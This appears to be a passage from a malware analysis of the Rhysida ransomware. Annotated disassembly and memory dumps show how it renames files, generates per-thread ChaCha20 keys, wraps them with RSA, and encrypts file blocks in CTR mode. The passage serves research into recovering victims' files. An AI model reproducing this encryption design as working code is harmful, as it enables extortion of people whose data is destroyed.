.text:0000000000417DAC 48 83 C0 02             add     rax, 2
.text:0000000000417DB0 48 89 C1                mov     rcx, rax        ; Size
.text:0000000000417DB3 E8 30 35 03 00          call    malloc
.text:0000000000417DB8 48 89 85 30 32 10 00    mov     [rbp+103290h+file_to_crypt], rax
.text:0000000000417DBF 48 8B 95 38 32 10 00    mov     rdx, [rbp+103290h+file_name_local] ; Source
.text:0000000000417DC6 48 8B 85 30 32 10 00    mov     rax, [rbp+103290h+file_to_crypt]
.text:0000000000417DCD 48 89 C1                mov     rcx, rax        ; Destination
.text:0000000000417DD0 E8 93 34 03 00          call    strcpy
.text:0000000000417DD5 48 8D 05 E8 C5 05 00    lea     rax, CURRENT_TYPE_N
.text:0000000000417DDC 8B 00                   mov     eax, [rax]
.text:0000000000417DDE 83 F8 01                cmp     eax, 1
.text:0000000000417DE1 0F 85 87 00 00 00       jnz     loc_417E6E
[...]

The file is renamed by concatenating the ".rhysida" extension to its name.

[...]
.text:0000000000417E08 48 8D 50 FF             lea     rdx, [rax-1]
.text:0000000000417E0C 48 8B 85 30 32 10 00    mov     rax, [rbp+103290h+file_to_crypt]
.text:0000000000417E13 48 01 D0                add     rax, rdx
.text:0000000000417E16 66 C7 00 2E 00          mov     word ptr [rax], 2Eh ; '.'
.text:0000000000417E1B 48 8B 85 30 32 10 00    mov     rax, [rbp+103290h+file_to_crypt]
.text:0000000000417E22 48 8D 15 03 42 03 00    lea     rdx, __EXT_EXT  ; Source
.text:0000000000417E29 48 89 C1                mov     rcx, rax        ; Destination
.text:0000000000417E2C E8 47 34 03 00          call    strcat
.text:0000000000417E31 48 8B 85 30 32 10 00    mov     rax, [rbp+103290h+file_to_crypt]
.text:0000000000417E38 48 89 C1                mov     rcx, rax        ; Str
.text:0000000000417E3B E8 18 34 03 00          call    strlen
.text:0000000000417E40 48 89 C2                mov     rdx, rax
.text:0000000000417E43 48 8B 85 30 32 10 00    mov     rax, [rbp+103290h+file_to_crypt]
.text:0000000000417E4A 48 01 D0                add     rax, rdx
.text:0000000000417E4D C6 00 00                mov     byte ptr [rax], 0
.text:0000000000417E50 48 8B 95 30 32 10 00    mov     rdx, [rbp+103290h+file_to_crypt] ; NewFilename
.text:0000000000417E57 48 8B 85 38 32 10 00    mov     rax, [rbp+103290h+file_name_local]
.text:0000000000417E5E 48 89 C1                mov     rcx, rax        ; OldFilename
.text:0000000000417E61 E8 32 34 03 00          call    rename
[...]

By viewing the memory contents addressed by the eax register you can see the new file name.

0000000002CDAE40  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
0000000002CDAE50  00 00 00 00 00 00 00 00  DF 76 7B 1B 87 AF 13 3F  ..........{....?
0000000002CDAE60  43 3A 2F 44 75 6D 70 53  74 61 63 6B 2E 6C 6F 67  C:/DumpStack.log
0000000002CDAE70  2E 72 68 79 73 69 64 61  00 AB AB AB AB AB AB AB  .rhysida........
0000000002CDAE80  AB AB AB AB AB AB AB AB  AB FE EE FE EE FE EE FE  ................

Obviously, if renaming fails, the encryption process ends immediately.

[...]
.text:0000000000417E81 8B 8D 6C 32 10 00       mov     ecx, [rbp+103290h+err]
.text:0000000000417E87 48 8B 95 30 32 10 00    mov     rdx, [rbp+103290h+file_to_crypt]
.text:0000000000417E8E 48 8B 85 38 32 10 00    mov     rax, [rbp+103290h+file_name_local]
.text:0000000000417E95 41 89 C9                mov     r9d, ecx
.text:0000000000417E98 49 89 D0                mov     r8, rdx
.text:0000000000417E9B 48 89 C2                mov     rdx, rax
.text:0000000000417E9E 48 8D 0D D3 F6 03 00    lea     rcx, aErrorRenameFil ; "ERROR rename file %s to %s %d\n"
.text:0000000000417EA5 E8 16 34 03 00          call    printf
.text:0000000000417EAA 48 8D 05 6F 7F 05 00    lea     rax, global_statistics
.text:0000000000417EB1 8B 40 10                mov     eax, [rax+10h]
.text:0000000000417EB4 8D 50 01                lea     edx, [rax+1]
[...]

Some instructions conclude the function by cleaning up any variables and allocated memory.

[...]
.text:0000000000418D6D 48 8D 85 00 20 10 00    lea     rax, [rbp+103290h+ctr]
.text:0000000000418D74 48 89 C1                mov     rcx, rax
.text:0000000000418D77 E8 B4 76 00 00          call    ctr_done
.text:0000000000418D7C 89 85 6C 32 10 00       mov     [rbp+103290h+err], eax
.text:0000000000418D82 83 BD 6C 32 10 00 00    cmp     [rbp+103290h+err], 0
.text:0000000000418D89 74 1C                   jz      short loc_418DA7
.text:0000000000418D8B 8B 85 6C 32 10 00       mov     eax, [rbp+103290h+err]
.text:0000000000418D91 89 C1                   mov     ecx, eax
.text:0000000000418D93 E8 A8 75 00 00          call    error_to_string
.text:0000000000418D98 48 89 C2                mov     rdx, rax
.text:0000000000418D9B 48 8D 0D 39 EA 03 00    lea     rcx, aErrorXxxDoneS ; "ERROR xxx_done %s\n"
.text:0000000000418DA2 E8 19 25 03 00          call    printf
.text:0000000000418DA7 48 8D 85 00 20 10 00    lea     rax, [rbp+103290h+ctr]
.text:0000000000418DAE BA B8 11 00 00          mov     edx, 11B8h
.text:0000000000418DB3 48 89 C1                mov     rcx, rax
.text:0000000000418DB6 E8 A5 75 00 00          call    zeromem
.text:0000000000418DBB 48 8D 85 C0 31 10 00    lea     rax, [rbp+103290h+cipher_IV]
.text:0000000000418DC2 BA 10 00 00 00          mov     edx, 10h
.text:0000000000418DC7 48 89 C1                mov     rcx, rax
.text:0000000000418DCA E8 91 75 00 00          call    zeromem
.text:0000000000418DCF 48 8D 85 D0 31 10 00    lea     rax, [rbp+103290h+cipher_key]
.text:0000000000418DD6 BA 20 00 00 00          mov     edx, 20h ; ' '
.text:0000000000418DDB 48 89 C1                mov     rcx, rax
.text:0000000000418DDE E8 7D 75 00 00          call    zeromem
.text:0000000000418DE3 48 8B 85 30 32 10 00    mov     rax, [rbp+103290h+file_to_crypt]
.text:0000000000418DEA 48 89 C1                mov     rcx, rax        ; Block
.text:0000000000418DED E8 2E 25 03 00          call    free
.text:0000000000418DF2 48 8B 85 38 32 10 00    mov     rax, [rbp+103290h+file_name_local]
.text:0000000000418DF9 48 89 C1                mov     rcx, rax        ; Block
.text:0000000000418DFC E8 1F 25 03 00          call    free
.text:0000000000418E01 90                      nop
.text:0000000000418E02 48 81 C4 F8 32 10 00    add     rsp, 1032F8h
.text:0000000000418E09 5B                      pop     rbx
.text:0000000000418E0A 5E                      pop     rsi
.text:0000000000418E0B 5F                      pop     rdi
.text:0000000000418E0C 5D                      pop     rbp
.text:0000000000418E0D C3                      retn
[...]

We then let the flow go until we find a file that can be processed, we then set a break in the renaming flow that occurred correctly and wait. Finally, the break is activated and we discover that the first victim of the encryption will be the file "C:/Users/All Users/Microsoft/User Account Pictures/in7rud3r.dat", already renamed with the ".rhysida" extension. Let's shed some light on the code, I hope the comments on the disassembled version will be enough.

[...]
.text:0000000000417F1E 48 8B 85 28 32 10 00    mov     rax, [rbp+103290h+f]
.text:0000000000417F25 41 B8 02 00 00 00       mov     r8d, 2          ; whence - position from which to apply the offset, in this case should be the END (SEEK_END = 2)
.text:0000000000417F2B BA 00 00 00 00          mov     edx, 0          ; offset - position to seek to, relative to the positions specified by whence
.text:0000000000417F30 48 89 C1                mov     rcx, rax        ; stream - pointer to the file to seek
.text:0000000000417F33 E8 C8 20 03 00          call    fseeko64        ; Change the current position of a stream
.text:0000000000417F38 48 8B 85 28 32 10 00    mov     rax, [rbp+103290h+f]
.text:0000000000417F3F 48 89 C1                mov     rcx, rax        ; stream - pointer to the file to seek
.text:0000000000417F42 E8 39 25 03 00          call    ftello64        ; Get the current position of the file pointer in a stream
.text:0000000000417F47 89 85 24 32 10 00       mov     [rbp+103290h+file_to_crypt_size], eax ; The current position, seeking to the end, return the size of the file
.text:0000000000417F4D 48 8B 85 28 32 10 00    mov     rax, [rbp+103290h+f]
.text:0000000000417F54 41 B8 00 00 00 00       mov     r8d, 0          ; whence - this time should be the offset itself (SEEK_SET = 0)
.text:0000000000417F5A BA 00 00 00 00          mov     edx, 0          ; offset - indicating 0 in relation to SEEK_SET, you will find yourself at the beginning of the file
.text:0000000000417F5F 48 89 C1                mov     rcx, rax        ; stream - pointer to the file to seek
.text:0000000000417F62 E8 99 20 03 00          call    fseeko64        ; Change again the current position of a stream, returning to the beginning of the file
.text:0000000000417F67 8B 85 24 32 10 00       mov     eax, [rbp+103290h+file_to_crypt_size]
.text:0000000000417F6D 89 C2                   mov     edx, eax
.text:0000000000417F6F 48 8D 0D 42 F6 03 00    lea     rcx, aFileToCryptSiz ; "file_to_crypt size [%ld] bytes\n"
.text:0000000000417F76 E8 45 33 03 00          call    printf          ; Print the size of the file to the screen
.text:0000000000417F7B 83 BD 24 32 10 00 00    cmp     [rbp+103290h+file_to_crypt_size], 0
.text:0000000000417F82 0F 84 AC 0D 00 00       jz      loc_418D34
[...]

If the file size does not satisfy some aspects (at least one available bite), a message is printed, the file name is reset and the next file is moved on.

[...]
.text:0000000000418D34 8B 85 24 32 10 00       mov     eax, [rbp+103290h+file_to_crypt_size]
.text:0000000000418D3A 89 C2                   mov     edx, eax
.text:0000000000418D3C 48 8D 0D 89 EA 03 00    lea     rcx, aSmallFileD ; "Small file %d\n"
.text:0000000000418D43 E8 78 25 03 00          call    printf
.text:0000000000418D48 48 8B 85 28 32 10 00    mov     rax, [rbp+103290h+f]
.text:0000000000418D4F 48 89 C1                mov     rcx, rax        ; Stream
.text:0000000000418D52 E8 F9 25 03 00          call    fclose
.text:0000000000418D57 48 8B 95 38 32 10 00    mov     rdx, [rbp+103290h+file_name_local] ; NewFilename
.text:0000000000418D5E 48 8B 85 30 32 10 00    mov     rax, [rbp+103290h+file_to_crypt]
.text:0000000000418D65 48 89 C1                mov     rcx, rax        ; OldFilename
.text:0000000000418D68 E8 2B 25 03 00          call    rename
[...]

Proceed, then, until we find a file worthy of analysis, setting the right breakpoints so as not to waste too much time.

0000000002CED8A0  EE FE EE FE EE FE EE FE  D0 76 7B 14 83 AE 14 3C  ..........{....<
0000000002CED8B0  43 3A 2F 55 73 65 72 73  2F 41 6C 6C 20 55 73 65  C:/Users/All Use
0000000002CED8C0  72 73 2F 4F 72 61 63 6C  65 2F 4A 61 76 61 2F 2E  rs/Oracle/Java/.
0000000002CED8D0  6F 72 61 63 6C 65 5F 6A  72 65 5F 75 73 61 67 65  oracle_jre_usage
0000000002CED8E0  2F 33 39 30 33 64 61 61  63 39 62 63 34 61 33 62  /3903daac9bc4a3b
0000000002CED8F0  37 2E 74 69 6D 65 73 74  61 6D 70 2E 72 68 79 73  7.timestamp.rhys
0000000002CED900  69 64 61 00 AB AB AB AB  AB AB AB AB AB AB AB AB  ida.............

46 bytes, can proceed. The code highlights two calls to the "chacha20_prng_read" function which, judging by the following variables to which they are applied (cipher_key and cipher_IV), would appear to generate the key and secret necessary for decryption.

[...]
.text:0000000000417FB3 48 69 C0 F0 44 00 00    imul    rax, 44F0h
.text:0000000000417FBA 48 01 C2                add     rdx, rax
.text:0000000000417FBD 48 8D 85 D0 31 10 00    lea     rax, [rbp+103290h+cipher_key]
.text:0000000000417FC4 49 89 D0                mov     r8, rdx
.text:0000000000417FC7 BA 20 00 00 00          mov     edx, 20h ; ' '
.text:0000000000417FCC 48 89 C1                mov     rcx, rax
.text:0000000000417FCF E8 0C C9 00 00          call    chacha20_prng_read
.text:0000000000417FD4 48 8D 05 ED C3 05 00    lea     rax, prngs
.text:0000000000417FDB 48 8B 10                mov     rdx, [rax]
.text:0000000000417FDE 8B 85 B0 32 10 00       mov     eax, [rbp+103290h+thread_n]
.text:0000000000417FE4 48 98                   cdqe
.text:0000000000417FE6 48 69 C0 F0 44 00 00    imul    rax, 44F0h
.text:0000000000417FED 48 01 C2                add     rdx, rax
.text:0000000000417FF0 48 8D 85 C0 31 10 00    lea     rax, [rbp+103290h+cipher_IV]
.text:0000000000417FF7 49 89 D0                mov     r8, rdx
.text:0000000000417FFA BA 10 00 00 00          mov     edx, 10h
.text:0000000000417FFF 48 89 C1                mov     rcx, rax
.text:0000000000418002 E8 D9 C8 00 00          call    chacha20_prng_read
.text:0000000000418007 48 8D 05 F2 7D 05 00    lea     rax, CIPHER
.text:000000000041800E 8B 00                   mov     eax, [rax]
.text:0000000000418010 4C 8D 85 D0 31 10 00    lea     r8, [rbp+103290h+cipher_key]
.text:0000000000418017 48 8D 95 C0 31 10 00    lea     rdx, [rbp+103290h+cipher_IV]
.text:000000000041801E 48 8D 8D 00 20 10 00    lea     rcx, [rbp+103290h+ctr]
[...]

The ctr_start instruction then initializes the cypher.

[...]
.text:0000000000418010 4C 8D 85 D0 31 10 00    lea     r8, [rbp+103290h+cipher_key]
.text:0000000000418017 48 8D 95 C0 31 10 00    lea     rdx, [rbp+103290h+cipher_IV]
.text:000000000041801E 48 8D 8D 00 20 10 00    lea     rcx, [rbp+103290h+ctr]
.text:0000000000418025 48 89 4C 24 30          mov     [rsp+103310h+var_1032E0], rcx
.text:000000000041802A C7 44 24 28 00 00 00 00 mov     [rsp+103310h+var_1032E8], 0
.text:0000000000418032 C7 44 24 20 0E 00 00 00 mov     dword ptr [rsp+103310h+var_1032F0], 0Eh
.text:000000000041803A 41 B9 20 00 00 00       mov     r9d, 20h ; ' '
.text:0000000000418040 89 C1                   mov     ecx, eax
.text:0000000000418042 E8 39 8E 00 00          call    ctr_start
[...]

The initialization vector is set in the cypher.

[...]
.text:0000000000418086 48 8D 95 00 20 10 00    lea     rdx, [rbp+103290h+ctr]
.text:000000000041808D 48 8D 85 C0 31 10 00    lea     rax, [rbp+103290h+cipher_IV]
.text:0000000000418094 49 89 D0                mov     r8, rdx
.text:0000000000418097 BA 10 00 00 00          mov     edx, 10h
.text:000000000041809C 48 89 C1                mov     rcx, rax        ; Src
.text:000000000041809F E8 1C 8D 00 00          call    ctr_setiv
.text:00000000004180A4 89 85 6C 32 10 00       mov     [rbp+103290h+err], eax
.text:00000000004180AA 83 BD 6C 32 10 00 00    cmp     [rbp+103290h+err], 0
.text:00000000004180B1 74 1C                   jz      short loc_4180CF
[...]

This is followed by a long preparation of variables used to encrypt the key (rsa_encrypt_key_ex).

[...]
.text:00000000004180CF C7 85 20 32 10 00 20 00 mov     [rbp+103290h+cipher_key_length], 20h ; ' '
.text:00000000004180CF 00 00
.text:00000000004180D9 C7 85 FC 1F 10 00 00 10 mov     [rbp+103290h+cipher_key_out_length], 1000h
.text:00000000004180D9 00 00
.text:00000000004180E3 48 8D 05 66 C2 05 00    lea     rax, HASH_IDX
.text:00000000004180EA 44 8B 00                mov     r8d, [rax]
.text:00000000004180ED 48 8D 05 10 7D 05 00    lea     rax, PRNG_IDX
.text:00000000004180F4 8B 08                   mov     ecx, [rax]
.text:00000000004180F6 48 8D 05 CB C2 05 00    lea     rax, prngs
.text:00000000004180FD 48 8B 10                mov     rdx, [rax]
.text:0000000000418100 8B 85 B0 32 10 00       mov     eax, [rbp+103290h+thread_n]
.text:0000000000418106 48 98                   cdqe
.text:0000000000418108 48 69 C0 F0 44 00 00    imul    rax, 44F0h
.text:000000000041810F 4C 8D 1C 02             lea     r11, [rdx+rax]
.text:0000000000418113 BE 0B 00 00 00          mov     esi, 0Bh
.text:0000000000418118 4C 8D 8D FC 1F 10 00    lea     r9, [rbp+103290h+cipher_key_out_length]
.text:000000000041811F 4C 8D 55 E0             lea     r10, [rbp+103290h+cipher_key_out]
.text:0000000000418123 8B 95 20 32 10 00       mov     edx, [rbp+103290h+cipher_key_length] ; Size
.text:0000000000418129 48 8D 85 D0 31 10 00    lea     rax, [rbp+103290h+cipher_key]
.text:0000000000418130 48 8D 1D 29 C2 05 00    lea     rbx, key
.text:0000000000418137 48 89 5C 24 50          mov     [rsp+103310h+var_1032C0], rbx ; __int64
.text:000000000041813C C7 44 24 48 02 00 00 00 mov     [rsp+103310h+var_1032C8], 2 ; int
.text:0000000000418144 44 89 44 24 40          mov     [rsp+103310h+var_1032D0], r8d ; int
.text:0000000000418149 89 4C 24 38             mov     [rsp+103310h+var_1032D8], ecx ; int
.text:000000000041814D 4C 89 5C 24 30          mov     [rsp+103310h+var_1032E0], r11 ; __int64
.text:0000000000418152 89 74 24 28             mov     [rsp+103310h+var_1032E8], esi ; int
.text:0000000000418156 48 8D 0D 83 E3 03 00    lea     rcx, PROGRAM_NAME
.text:000000000041815D 48 89 4C 24 20          mov     [rsp+103310h+var_1032F0], rcx ; __int64
.text:0000000000418162 4D 89 D0                mov     r8, r10         ; __int64
.text:0000000000418165 48 89 C1                mov     rcx, rax        ; Src
.text:0000000000418168 E8 73 B3 00 00          call    rsa_encrypt_key_ex
[...]

Here return to the stream of the file opened at the beginning (the file that will be encrypted), to position at the end and write what appears to be the newly encrypted key.

[...]
.text:00000000004181AF 48 8B 85 28 32 10 00    mov     rax, [rbp+103290h+f]
.text:00000000004181B6 41 B8 02 00 00 00       mov     r8d, 2          ; whence
.text:00000000004181BC BA 00 00 00 00          mov     edx, 0          ; offset
.text:00000000004181C1 48 89 C1                mov     rcx, rax        ; stream
.text:00000000004181C4 E8 37 1E 03 00          call    fseeko64
.text:00000000004181C9 8B 85 FC 1F 10 00       mov     eax, [rbp+103290h+cipher_key_out_length]
.text:00000000004181CF 89 C1                   mov     ecx, eax
.text:00000000004181D1 48 8B 95 28 32 10 00    mov     rdx, [rbp+103290h+f]
.text:00000000004181D8 48 8D 45 E0             lea     rax, [rbp+103290h+cipher_key_out]
.text:00000000004181DC 49 89 D1                mov     r9, rdx         ; Stream
.text:00000000004181DF 41 B8 01 00 00 00       mov     r8d, 1          ; ElementCount
.text:00000000004181E5 48 89 CA                mov     rdx, rcx        ; ElementSize
.text:00000000004181E8 48 89 C1                mov     rcx, rax        ; Buffer
.text:00000000004181EB E8 00 31 03 00          call    fwrite
.text:00000000004181F0 BA 01 00 00 00          mov     edx, 1
.text:00000000004181F5 29 C2                   sub     edx, eax
.text:00000000004181F7 89 D0                   mov     eax, edx
.text:00000000004181F9 89 85 64 32 10 00       mov     [rbp+103290h+is_enc_err], eax
.text:00000000004181FF 83 BD 64 32 10 00 00    cmp     [rbp+103290h+is_enc_err], 0
.text:0000000000418206 0F 85 88 0A 00 00       jnz     loc_418C94
[...]

The length of the key is inserted in the next four bytes.

[...]
.text:000000000041820C 48 8B 95 28 32 10 00    mov     rdx, [rbp+103290h+f]
.text:0000000000418213 48 8D 85 FC 1F 10 00    lea     rax, [rbp+103290h+cipher_key_out_length]
.text:000000000041821A 49 89 D1                mov     r9, rdx         ; Stream
.text:000000000041821D 41 B8 01 00 00 00       mov     r8d, 1          ; ElementCount
.text:0000000000418223 BA 04 00 00 00          mov     edx, 4          ; ElementSize
.text:0000000000418228 48 89 C1                mov     rcx, rax        ; Buffer
.text:000000000041822B E8 C0 30 03 00          call    fwrite
[...]

The operation is repeated for the initialization vector (it is encrypted).

[...]
.text:0000000000418230 C7 85 1C 32 10 00 10 00 mov     [rbp+103290h+cipher_IV_length], 10h
.text:0000000000418230 00 00
.text:000000000041823A C7 85 F8 1F 10 00 00 10 mov     [rbp+103290h+cipher_IV_out_length], 1000h
.text:000000000041823A 00 00
.text:0000000000418244 48 8D 05 05 C1 05 00    lea     rax, HASH_IDX
.text:000000000041824B 44 8B 00                mov     r8d, [rax]
.text:000000000041824E 48 8D 05 AF 7B 05 00    lea     rax, PRNG_IDX
.text:0000000000418255 8B 08                   mov     ecx, [rax]
.text:0000000000418257 48 8D 05 6A C1 05 00    lea     rax, prngs
.text:000000000041825E 48 8B 10                mov     rdx, [rax]
.text:0000000000418261 8B 85 B0 32 10 00       mov     eax, [rbp+103290h+thread_n]
.text:0000000000418267 48 98                   cdqe
.text:0000000000418269 48 69 C0 F0 44 00 00    imul    rax, 44F0h
.text:0000000000418270 4C 8D 1C 02             lea     r11, [rdx+rax]
.text:0000000000418274 BE 0B 00 00 00          mov     esi, 0Bh
.text:0000000000418279 4C 8D 8D F8 1F 10 00    lea     r9, [rbp+103290h+cipher_IV_out_length]
.text:0000000000418280 4C 8D 95 E0 0F 00 00    lea     r10, [rbp+103290h+cipher_IV_out]
.text:0000000000418287 8B 95 1C 32 10 00       mov     edx, [rbp+103290h+cipher_IV_length] ; Size
.text:000000000041828D 48 8D 85 C0 31 10 00    lea     rax, [rbp+103290h+cipher_IV]
.text:0000000000418294 48 8D 1D C5 C0 05 00    lea     rbx, key
.text:000000000041829B 48 89 5C 24 50          mov     [rsp+103310h+var_1032C0], rbx ; __int64
.text:00000000004182A0 C7 44 24 48 02 00 00 00 mov     [rsp+103310h+var_1032C8], 2 ; int
.text:00000000004182A8 44 89 44 24 40          mov     [rsp+103310h+var_1032D0], r8d ; int
.text:00000000004182AD 89 4C 24 38             mov     [rsp+103310h+var_1032D8], ecx ; int
.text:00000000004182B1 4C 89 5C 24 30          mov     [rsp+103310h+var_1032E0], r11 ; __int64
.text:00000000004182B6 89 74 24 28             mov     [rsp+103310h+var_1032E8], esi ; int
.text:00000000004182BA 48 8D 0D 1F E2 03 00    lea     rcx, PROGRAM_NAME
.text:00000000004182C1 48 89 4C 24 20          mov     [rsp+103310h+var_1032F0], rcx ; __int64
.text:00000000004182C6 4D 89 D0                mov     r8, r10         ; __int64
.text:00000000004182C9 48 89 C1                mov     rcx, rax        ; Src
.text:00000000004182CC E8 0F B2 00 00          call    rsa_encrypt_key_ex
[...]

And written at the end of the file, encrypted vector and key.

[...]
.text:0000000000418322 8B 85 F8 1F 10 00       mov     eax, [rbp+103290h+cipher_IV_out_length]
.text:0000000000418328 89 C1                   mov     ecx, eax
.text:000000000041832A 48 8B 95 28 32 10 00    mov     rdx, [rbp+103290h+f]
.text:0000000000418331 48 8D 85 E0 0F 00 00    lea     rax, [rbp+103290h+cipher_IV_out]
.text:0000000000418338 49 89 D1                mov     r9, rdx         ; Stream
.text:000000000041833B 41 B8 01 00 00 00       mov     r8d, 1          ; ElementCount
.text:0000000000418341 48 89 CA                mov     rdx, rcx        ; ElementSize
.text:0000000000418344 48 89 C1                mov     rcx, rax        ; Buffer
.text:0000000000418347 E8 A4 2F 03 00          call    fwrite
[...]
.text:0000000000418368 48 8B 95 28 32 10 00    mov     rdx, [rbp+103290h+f]
.text:000000000041836F 48 8D 85 F8 1F 10 00    lea     rax, [rbp+103290h+cipher_IV_out_length]
.text:0000000000418376 49 89 D1                mov     r9, rdx         ; Stream
.text:0000000000418379 41 B8 01 00 00 00       mov     r8d, 1          ; ElementCount
.text:000000000041837F BA 04 00 00 00          mov     edx, 4          ; ElementSize
.text:0000000000418384 48 89 C1                mov     rcx, rax        ; Buffer
.text:0000000000418387 E8 64 2F 03 00          call    fwrite
[...]

Further information is also saved, namely a variable called "CURRENT_TYPE_N" (set to 1 at the time of debugging), this is the identifier of the encryption algorithm used.

[...]
.text:000000000041838C 48 8B 85 28 32 10 00    mov     rax, [rbp+103290h+f]
.text:0000000000418393 49 89 C1                mov     r9, rax         ; Stream
.text:0000000000418396 41 B8 01 00 00 00       mov     r8d, 1          ; ElementCount
.text:000000000041839C BA 04 00 00 00          mov     edx, 4          ; ElementSize
.text:00000000004183A1 48 8D 05 1C C0 05 00    lea     rax, CURRENT_TYPE_N
.text:00000000004183A8 48 89 C1                mov     rcx, rax        ; Buffer
.text:00000000004183AB E8 40 2F 03 00          call    fwrite
[...]

The next flow seems to do some sort of block processing to identify the process blocks to write from the file size (as if it were preparing to write and encrypt the file in blocks). At the end of the cycles, for this specific file, the block appears to be 46 bytes like the entire file, the imul instruction with the value 0 contained in the eax register, will keep the latter, however, at the value 0. Then move to the beginning of the file.

[...]
.text:0000000000418486 8B 85 68 32 10 00       mov     eax, [rbp+103290h+i]
.text:000000000041848C 0F AF 85 60 32 10 00    imul    eax, [rbp+103290h+file_process_block]
.text:0000000000418493 89 C2                   mov     edx, eax        ; offset
.text:0000000000418495 48 8B 85 28 32 10 00    mov     rax, [rbp+103290h+f]
.text:000000000041849C 41 B8 00 00 00 00       mov     r8d, 0          ; whence
.text:00000000004184A2 48 89 C1                mov     rcx, rax        ; stream
.text:00000000004184A5 E8 56 1B 03 00          call    fseeko64
[...]

A series of information is printed on the screen, which you should take a look at.

And then the 46 bytes of the original file are read.

[...]
.text:00000000004184DC 8B 85 58 32 10 00       mov     eax, [rbp+103290h+file_process_block_size]
.text:00000000004184E2 48 63 D0                movsxd  rdx, eax        ; ElementSize
.text:00000000004184E5 48 8B 8D 28 32 10 00    mov     rcx, [rbp+103290h+f]
.text:00000000004184EC 48 8D 85 E0 1F 00 00    lea     rax, [rbp+103290h+buf]
.text:00000000004184F3 49 89 C9                mov     r9, rcx         ; Stream
.text:00000000004184F6 41 B8 01 00 00 00       mov     r8d, 1          ; ElementCount
.text:00000000004184FC 48 89 C1                mov     rcx, rax        ; Buffer
.text:00000000004184FF E8 24 2E 03 00          call    fread
[...]

A message informs us that we are finally entering the heart of the process.

The contents of the file, the 46 bytes read, are encrypted using the ctr_encrypt instruction.

[...]
.text:0000000000418567 8B 8D 58 32 10 00       mov     ecx, [rbp+103290h+file_process_block_size]
.text:000000000041856D 4C 8D 85 00 20 10 00    lea     r8, [rbp+103290h+ctr]
.text:0000000000418574 48 8D 95 E0 1F 00 00    lea     rdx, [rbp+103290h+buf]
.text:000000000041857B 48 8D 85 E0 1F 00 00    lea     rax, [rbp+103290h+buf]
.text:0000000000418582 4D 89 C1                mov     r9, r8
.text:0000000000418585 41 89 C8                mov     r8d, ecx
.text:0000000000418588 48 89 C1                mov     rcx, rax
.text:000000000041858B E8 00 7F 00 00          call    ctr_encrypt
[...]

The following messages (and related instructions) identify positioning and writing within the file.

[...]
.text:00000000004185E6 48 8D 0D E4 F0 03 00    lea     rcx, aStartFseek ; "Start fseek"
.text:00000000004185ED E8 CE 2C 03 00          call    printf
.text:00000000004185F2 8B 85 68 32 10 00       mov     eax, [rbp+103290h+i]
.text:00000000004185F8 0F AF 85 60 32 10 00    imul    eax, [rbp+103290h+file_process_block]
.text:00000000004185FF 89 C2                   mov     edx, eax        ; offset - 0
.text:0000000000418601 48 8B 85 28 32 10 00    mov     rax, [rbp+103290h+f]
.text:0000000000418608 41 B8 00 00 00 00       mov     r8d, 0          ; whence - SEEK_SET
.text:000000000041860E 48 89 C1                mov     rcx, rax        ; stream - The beginning of the file
.text:0000000000418611 E8 EA 19 03 00          call    fseeko64
.text:0000000000418616 48 8D 0D C0 F0 03 00    lea     rcx, aStartFwrite ; "Start fwrite"
.text:000000000041861D E8 9E 2C 03 00          call    printf
.text:0000000000418622 8B 85 58 32 10 00       mov     eax, [rbp+103290h+file_process_block_size]
.text:0000000000418628 48 63 D0                movsxd  rdx, eax        ; ElementSize
.text:000000000041862B 48 8B 8D 28 32 10 00    mov     rcx, [rbp+103290h+f]
.text:0000000000418632 48 8D 85 E0 1F 00 00    lea     rax, [rbp+103290h+buf]
.text:0000000000418639 49 89 C9                mov     r9, rcx         ; Stream
.text:000000000041863C 41 B8 01 00 00 00       mov     r8d, 1          ; ElementCount
.text:0000000000418642 48 89 C1                mov     rcx, rax        ; Buffer
.text:0000000000418645 E8 A6 2C 03 00          call    fwrite
[...]

The process is repeated for any remaining blocks. Once the entire file is encrypted, the statistics are updated and the file is finally closed.

Well, analyzed how the files are treated and now is know what is in the tampered file, let's find out what this flaw is that allowed the researchers to restore the damaged files.

Conclusion

Some flows are missing that we have not analyzed having followed the process for only one file, but if we also process the other files, we will have a general overview of the entire encryption phase.

For example, going into detail on the function that separates the blocks of the file to be encrypted, we understand that if the file exceeds one mega in size, the malware encrypts only 4 blocks of approximately 260 KB (a mega in fact) leaving the rest of the file intact, which, however, remains illegible.

Another example, the variable CURRENT_TYPE_N, identifies two different ways of separating blocks and related encryption.

Let's recap to get an overall big picture.

To summarize the process, but we will go into detail in the second part of this article, the malware initializes a total of two secrets (key and IV), one per processor, reserving a pair of keys for each one (practically each thread encrypts files with a different pair of keys). The key pair used is inserted inside the file itself encrypted with an RSA algorithm that uses a public key contained in the file, this prevents the keys from being used to decrypt the file, even though they are available but encrypted themselves. In this case, it is necessary to use the private key to restore the files, but this is impossible, as it is only in the possession of the hackers who implemented the malware (one wonders how they predict the restoration of the files without providing the private key, which subsequently would make it possible to decrypt files without problems).

The operation is more or less the same as the "wannacry" malware (it is no coincidence that it is classified as ransomware) which infected thousands of computers in the second half of the past decade, the difference was that the wannacry saved in the head, in first 1000 bytes of the file, the information of the encryption key used and the size of the original file. Another difference from the wannacry is the absence of a process that continues the infection after the first activation (the wannacry installed a service that started automatically and monitored the creation of new files potentially subject to encryption). The absence of a system of this type (absence of additional features aimed at damaging the victim as much as possible and the shoddy implementation of the virus) would identify the objective of an infection on a global level, but in a short time; the desire to extort as much money as possible in a limited time.

In the next article, we will see how it is possible to decrypt files damaged by Rhysida by exploiting the programming "flaw" introduced by the hackers who developed the malware.